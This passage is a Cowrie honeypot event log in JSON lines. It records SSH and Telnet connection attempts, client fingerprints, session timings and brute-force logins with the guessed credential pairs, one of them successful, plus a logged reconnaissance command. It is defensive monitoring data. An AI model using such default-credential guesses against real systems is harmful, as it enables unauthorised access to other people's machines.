{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:48.287025Z","src_ip":"193.32.162.145","session":"1f5e020adddf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"sol","password":"solana","message":"login attempt [sol/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:48.608614Z","src_ip":"193.32.162.145","session":"1f5e020adddf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:48.921352Z","src_ip":"193.32.162.145","session":"1f5e020adddf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:48.925506Z","src_ip":"193.32.162.145","session":"1f5e020adddf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:49.036551Z","src_ip":"193.32.162.145","session":"1f5e020adddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:49.042140Z","src_ip":"193.32.162.145","session":"1f5e020adddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.815890073776245,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:49.929532Z","src_ip":"192.119.13.58","session":"dd9d51a38dfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.432291984558105,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:51.749208Z","src_ip":"192.119.13.58","session":"81080425b72b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.03179979324341,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:53.045262Z","src_ip":"192.119.13.58","session":"ef4e9c17aeef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.40277695655823,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:53.069203Z","src_ip":"192.119.13.58","session":"ca0d80df9600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51374363899231,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:54.908186Z","src_ip":"192.119.13.58","session":"b14b5f91a6a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47178,"dst_ip":"10.17.0.5","dst_port":23,"session":"19905472425f","protocol":"telnet","message":"New connection: 192.119.13.58:47178 (10.17.0.5:23) [session: 19905472425f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:00:56.157774Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":52706,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b0c06b0127a","protocol":"ssh","message":"New connection: 103.27.238.114:52706 (159.203.135.109:22) [session: 7b0c06b0127a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:01.342210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:01.347166Z","src_ip":"103.27.238.114","session":"7b0c06b0127a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:01.613364Z","src_ip":"103.27.238.114","session":"7b0c06b0127a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":57608,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9a9cff4e3f4","protocol":"ssh","message":"New connection: 116.110.11.66:57608 (159.203.135.109:22) [session: e9a9cff4e3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:01.941078Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42072,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f2ee532dae","protocol":"telnet","message":"New connection: 192.119.13.58:42072 (10.17.0.5:23) [session: 53f2ee532dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:02.007045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:02.191627Z","src_ip":"116.110.11.66","session":"e9a9cff4e3f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yjdsqujl","message":"login attempt [root/yjdsqujl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:02.403738Z","src_ip":"103.27.238.114","session":"7b0c06b0127a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:02.518594Z","src_ip":"116.110.11.66","session":"e9a9cff4e3f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48524,"dst_ip":"10.17.0.5","dst_port":23,"session":"78fe7e298977","protocol":"telnet","message":"New connection: 192.119.13.58:48524 (10.17.0.5:23) [session: 78fe7e298977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:03.560450Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:03.670147Z","src_ip":"103.27.238.114","session":"7b0c06b0127a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50114,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb010b0e6987","protocol":"telnet","message":"New connection: 192.119.13.58:50114 (10.17.0.5:23) [session: cb010b0e6987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:03.967643Z"}
{"eventid":"cowrie.session.closed","duration":35.783400774002075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:04.112282Z","src_ip":"192.119.13.58","session":"3d08a07300b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.80483675003052,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:04.560635Z","src_ip":"192.119.13.58","session":"cb4db4fee0de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.50041484832764,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:04.681202Z","src_ip":"192.119.13.58","session":"636e8fc5e19f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36088,"dst_ip":"10.17.0.5","dst_port":23,"session":"85ef968fee23","protocol":"telnet","message":"New connection: 192.119.13.58:36088 (10.17.0.5:23) [session: 85ef968fee23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:07.525320Z"}
{"eventid":"cowrie.session.closed","duration":57.33260107040405,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:08.557379Z","src_ip":"192.119.13.58","session":"c95320bd5a09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46770,"dst_ip":"10.17.0.5","dst_port":23,"session":"a31466caf4de","protocol":"telnet","message":"New connection: 192.119.13.58:46770 (10.17.0.5:23) [session: a31466caf4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:10.110645Z"}
{"eventid":"cowrie.session.closed","duration":31.461944580078125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:14.861903Z","src_ip":"192.119.13.58","session":"7684177fb218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38380,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b139c9f4477","protocol":"telnet","message":"New connection: 192.119.13.58:38380 (10.17.0.5:23) [session: 0b139c9f4477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:14.867166Z"}
{"eventid":"cowrie.session.closed","duration":46.277414321899414,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:18.635717Z","src_ip":"192.119.13.58","session":"911b76e9fd54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":57838,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f12aa39ebe8","protocol":"ssh","message":"New connection: 103.164.9.74:57838 (10.17.0.5:22) [session: 9f12aa39ebe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:20.518379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:20.523055Z","src_ip":"103.164.9.74","session":"9f12aa39ebe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:20.719770Z","src_ip":"103.164.9.74","session":"9f12aa39ebe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ericsson","message":"login attempt [root/ericsson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:21.533223Z","src_ip":"103.164.9.74","session":"9f12aa39ebe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40658,"dst_ip":"10.17.0.5","dst_port":23,"session":"be7ca153c056","protocol":"telnet","message":"New connection: 192.119.13.58:40658 (10.17.0.5:23) [session: be7ca153c056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:22.079159Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:22.738182Z","src_ip":"103.164.9.74","session":"9f12aa39ebe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45908,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e36629a9588","protocol":"telnet","message":"New connection: 192.119.13.58:45908 (10.17.0.5:23) [session: 8e36629a9588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:23.427040Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48434,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f853d61d20e","protocol":"telnet","message":"New connection: 192.119.13.58:48434 (10.17.0.5:23) [session: 0f853d61d20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:23.964562Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58088,"dst_ip":"10.17.0.5","dst_port":23,"session":"41021ff34ce8","protocol":"telnet","message":"New connection: 192.119.13.58:58088 (10.17.0.5:23) [session: 41021ff34ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:26.364137Z"}
{"eventid":"cowrie.session.closed","duration":44.55004858970642,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:29.897556Z","src_ip":"192.119.13.58","session":"a68e01783dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.43154335021973,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:32.589171Z","src_ip":"192.119.13.58","session":"19905472425f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.95927548408508,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:34.966215Z","src_ip":"192.119.13.58","session":"53f2ee532dae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38264,"dst_ip":"10.17.0.5","dst_port":23,"session":"573c74058712","protocol":"telnet","message":"New connection: 192.119.13.58:38264 (10.17.0.5:23) [session: 573c74058712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:35.184989Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49856,"dst_ip":"10.17.0.5","dst_port":23,"session":"0df11bec5f6d","protocol":"telnet","message":"New connection: 192.119.13.58:49856 (10.17.0.5:23) [session: 0df11bec5f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:37.812642Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54640,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de9328e8756","protocol":"telnet","message":"New connection: 192.119.13.58:54640 (10.17.0.5:23) [session: 2de9328e8756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:39.213552Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:40.902849Z","src_ip":"116.110.11.66","session":"e9a9cff4e3f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35380,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c372a17c5f","protocol":"telnet","message":"New connection: 192.119.13.58:35380 (10.17.0.5:23) [session: 53c372a17c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:42.069328Z"}
{"eventid":"cowrie.session.closed","duration":38.60294318199158,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:42.163298Z","src_ip":"192.119.13.58","session":"78fe7e298977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"40.3","message":"Connection lost after 40.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:42.232061Z","src_ip":"116.110.11.66","session":"e9a9cff4e3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.83294439315796,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:42.800483Z","src_ip":"192.119.13.58","session":"cb010b0e6987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":17802,"dst_ip":"10.17.0.5","dst_port":22,"session":"fea485539b61","protocol":"ssh","message":"New connection: 115.68.226.124:17802 (10.17.0.5:22) [session: fea485539b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:42.805351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:42.810089Z","src_ip":"115.68.226.124","session":"fea485539b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.44033241271973,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:01:42.965548Z","src_ip":"192.119.13.58","session":"85ef968fee23","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa